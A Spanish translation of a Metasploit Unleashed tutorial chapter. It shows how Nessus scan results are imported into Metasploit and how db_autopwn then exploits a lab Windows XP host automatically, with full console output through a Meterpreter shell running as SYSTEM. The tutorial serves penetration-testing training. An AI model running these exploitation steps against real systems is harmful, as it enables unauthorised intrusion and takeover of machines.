Metasploit Unleashed en Espanol (5.5/17)

8.1.10

Trabajando con Nessus

Nessus es un conocido y popular escaneador de vulnerabilidades que es gratis para uso personal, uno no comercial que fue lanzado por primera vez en 1998 por Renaurd Deraison y actualmente publicado por Tenable Network Security. Tambien hay un proyecto spin-off de Nesses 2, llamado OpenVAS, que es publicado bajo licencia GPL. Utilizando un gran numero de comprobaciones de vulnerabilidad. Metasploit acepta archivos de resultados de escaneos de vulnerabilidad de ambos, tanto Nessus y OpenVAS en formato de archivo nbe.

Primero veremos una exploracion de Nessus 4:

Photobucket

Al terminar el escaneo de vulnerabilidad, salvamos los resultados en formato nbe y luego ejecutamos msfconsole. Lo siguiente, sera crear a una nueva base de datos para poder leer los resultados del archivo.

root@bt4:/pentest/exploits/framework3# ./msfconsole

...
msf > db_create
[*] Creating a new database instance...
[*] Successfully connected to the database
[*] File: /root/.msf3/sqlite3.db
msf > load db_tracker
[*] Successfully loaded plugin: db_tracker


Ya hemos creado la base de datos, luego usamos el comando 'help', el cual presentara muchas mas opciones.

msf > help

...snip...

Database Backend Commands
=========================

    Command               Description
    -------               -----------
    db_add_host           Add one or more hosts to the database
    db_add_note           Add a note to host
    db_add_port           Add a port to host
    db_autopwn            Automatically exploit everything
    db_connect            Connect to an existing database
    db_create             Create a brand new database
    db_del_host           Delete one or more hosts from the database
    db_del_port           Delete one port from the database
    db_destroy            Drop an existing database
    db_disconnect         Disconnect from the current database instance
    db_driver             Specify a database driver
    db_hosts              List all hosts in the database
    db_import_amap_mlog   Import a THC-Amap scan results file (-o -m)
    db_import_nessus_nbe  Import a Nessus scan result file (NBE)
    db_import_nessus_xml  Import a Nessus scan result file (NESSUS)
    db_import_nmap_xml    Import a Nmap scan results file (-oX)
    db_nmap               Executes nmap and records the output automatically
    db_notes              List all notes in the database
    db_services           List all services in the database
    db_vulns              List all vulnerabilities in the database

msf >


Asi que vamos e importemos el archivo nbe usando el comando 'db_import_nessus_nbe' segido de la direccion del archivo. Despues de importar el resultado, podemos ejecutar el comando 'db_hosts' para listar los hosts que se encuentran en el archivo nbe.

msf > db_import_nessus_nbe /root/docs/115_scan.nbe
msf > db_hosts
[*] Time: Tue Jul 14 17:40:23 -0600 2009 Host: 192.168.1.115 Status: alive OS:


Vemos exactamente lo que estamos esperando a ver. A continuacion ejecutamos el comando 'db_services' el cual va a enumerar todos los servicios que se detectaron en la sistema escaneado.

msf > db_services
[*] Time: Tue Jul 14 17:40:23 -0600 2009 Service: host=192.168.1.115 port=135 proto=tcp state=up name=epmap
[*] Time: Tue Jul 14 17:40:23 -0600 2009 Service: host=192.168.1.115 port=139 proto=tcp state=up name=netbios-ssn
[*] Time: Tue Jul 14 17:40:23 -0600 2009 Service: host=192.168.1.115 port=445 proto=tcp state=up name=microsoft-ds
[*] Time: Tue Jul 14 17:40:23 -0600 2009 Service: host=192.168.1.115 port=22 proto=tcp state=up name=ssh
[*] Time: Tue Jul 14 17:40:23 -0600 2009 Service: host=192.168.1.115 port=137 proto=udp state=up name=netbios-ns
[*] Time: Tue Jul 14 17:40:23 -0600 2009 Service: host=192.168.1.115 port=123 proto=udp state=up name=ntp


Finalmente, y el mas importante, el comando 'db_vulns' que listara todas las vulnerabilidades que son reportadas por Nessus y registradas en el archivo.

msf > db_vulns
[*] Time: Tue Jul 14 17:40:23 -0600 2009 Vuln: host=192.168.1.115 port=22 proto=tcp name=NSS-1.3.6.1.4.1.25623.1.0.50282 refs=NSS-1.3.6.1.4.1.25623.1.0.50282
[*] Time: Tue Jul 14 17:40:23 -0600 2009 Vuln: host=192.168.1.115 port=445 proto=tcp name=NSS-1.3.6.1.4.1.25623.1.0.11011 refs=NSS-1.3.6.1.4.1.25623.1.0.11011
[*] Time: Tue Jul 14 17:40:23 -0600 2009 Vuln: host=192.168.1.115 port=139 proto=tcp name=NSS-1.3.6.1.4.1.25623.1.0.11011 refs=NSS-1.3.6.1.4.1.25623.1.0.11011
[*] Time: Tue Jul 14 17:40:23 -0600 2009 Vuln: host=192.168.1.115 port=137 proto=udp name=NSS-1.3.6.1.4.1.25623.1.0.10150 refs=NSS-1.3.6.1.4.1.25623.1.0.10150,CVE-1999-0621
[*] Time: Tue Jul 14 17:40:23 -0600 2009 Vuln: host=192.168.1.115 port=445 proto=tcp name=NSS-1.3.6.1.4.1.25623.1.0.10394 refs=NSS-1.3.6.1.4.1.25623.1.0.10394
[*] Time: Tue Jul 14 17:40:23 -0600 2009 Vuln: host=192.168.1.115 port=123 proto=udp name=NSS-1.3.6.1.4.1.25623.1.0.10884 refs=NSS-1.3.6.1.4.1.25623.1.0.10884


Toda esta enumeracion y analisis nos llevaron a algo...db_autopwn.
db_autopwn leera todos los puertos, servicios y las vulnerabilidades contenidas en los resultados del archivo nbe, si coincide con algun exploit y es compatible con el, intentara explotarla automagicamente. Ejecutando 'db_autopwn -h' listara todas las opciones disponibles.

msf > db_autopwn -h
[*] Usage: db_autopwn [options]
-h Display this help text
-t Show all matching exploit modules
-x Select modules based on vulnerability references
-p Select modules based on open ports
-e Launch exploits against all matched targets
-r Use a reverse connect shell
-b Use a bind shell on a random port
-q Disable exploit module output
-I [range] Only exploit hosts inside this range
-X [range] Always exclude hosts inside this range
-PI [range] Only exploit hosts with these ports open
-PX [range] Always exclude hosts with these ports open
-m [regex] Only run modules whose name matches the regex


Vamos a ejecutar 'db_autopwn -x -e' para seleccionar el exploit basado en la vulnerabilidad (en lugar del puerto como ocurria con los resultados de nmap) y explotar todos los objetivos. db_autopwn no es una herramienta sigilosa por defecto, use reverse Meterpreter shell. Veamos que pasa cuando la ejecutamos.

msf > db_autopwn -x -e
[*] (8/38): Launching exploit/multi/samba/nttrans against 192.168.1.115:139...
[*] (9/38): Launching exploit/windows/smb/psexec against 192.168.1.115:445...
[*] (10/38): Launching exploit/windows/smb/ms06_066_nwwks against 192.168.1.115:445...

[-] Exploit failed: The connection was refused by the remote host (192.168.1.115:22).
[*] (35/38): Launching exploit/windows/smb/ms03_049_netapi against 192.168.1.115:445...
[*] Started bind handler
[-] Exploit failed: No encoders encoded the buffer successfully.
msf >
[*] Binding to 3d742890-397c-11cf-9bf1-00805f88cb72:1.0@ncacn_np:192.168.1.115[alert] ...
[*] Binding to 3919286a-b10c-11d0-9ba8-00c04fd92ef5:0.0@ncacn_np:192.168.1.115[lsarpc]...
[-] Exploit failed: The server responded with error: STATUS_ACCESS_DENIED (Command=162 WordCount=0)
[-] Exploit failed: The server responded with error: STATUS_ACCESS_DENIED (Command=162 WordCount=0)
[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
[*] Sending stage (718336 bytes)
[*] Meterpreter session 1 opened (192.168.1.101:40814 -> 192.168.1.115:14198)


Muy bien! db_autopwn ha hecho la explotacion con exito en el objetivo y la shell de Meterpreter esta esperando por nosotros. El comando 'session -l' lista las sesiones abiertas mientras que 'sessions -i' nos permitira interactuar con la session usando el ID.

msf > sessions -l

Active sessions
===============

Id Description Tunnel
-- ----------- ------
1  Meterpreter 192.168.1.101:40814 -> 192.168.1.115:14198

msf > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer: DOOKIE-FA154354
OS : Windows XP (Build 2600, Service Pack 2).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM


Como puede ver, esta caracteristicas es muy poderosa. No va agarrar todo en el sistema remoto, y hara mucho ruido, pero hay momentos y lugares para hacer ruido como tambien para ser sigilosos. Esto demuestra la versatilidad del framework, y alguna de las muchas posibilidades de integracion posibles con otras herramientas.


© Offensive Security 2009

  • Original by www.offensive-security.com
  • Traslated by Jhyx

1 comentarios:

José Rodriguez dijo...

Mil gracias por sus aportes tan didacticos, soy estudiante de informática aqui en Venezuela.

Creative Commons License
Esta obra está bajo una licencia de Creative Commons.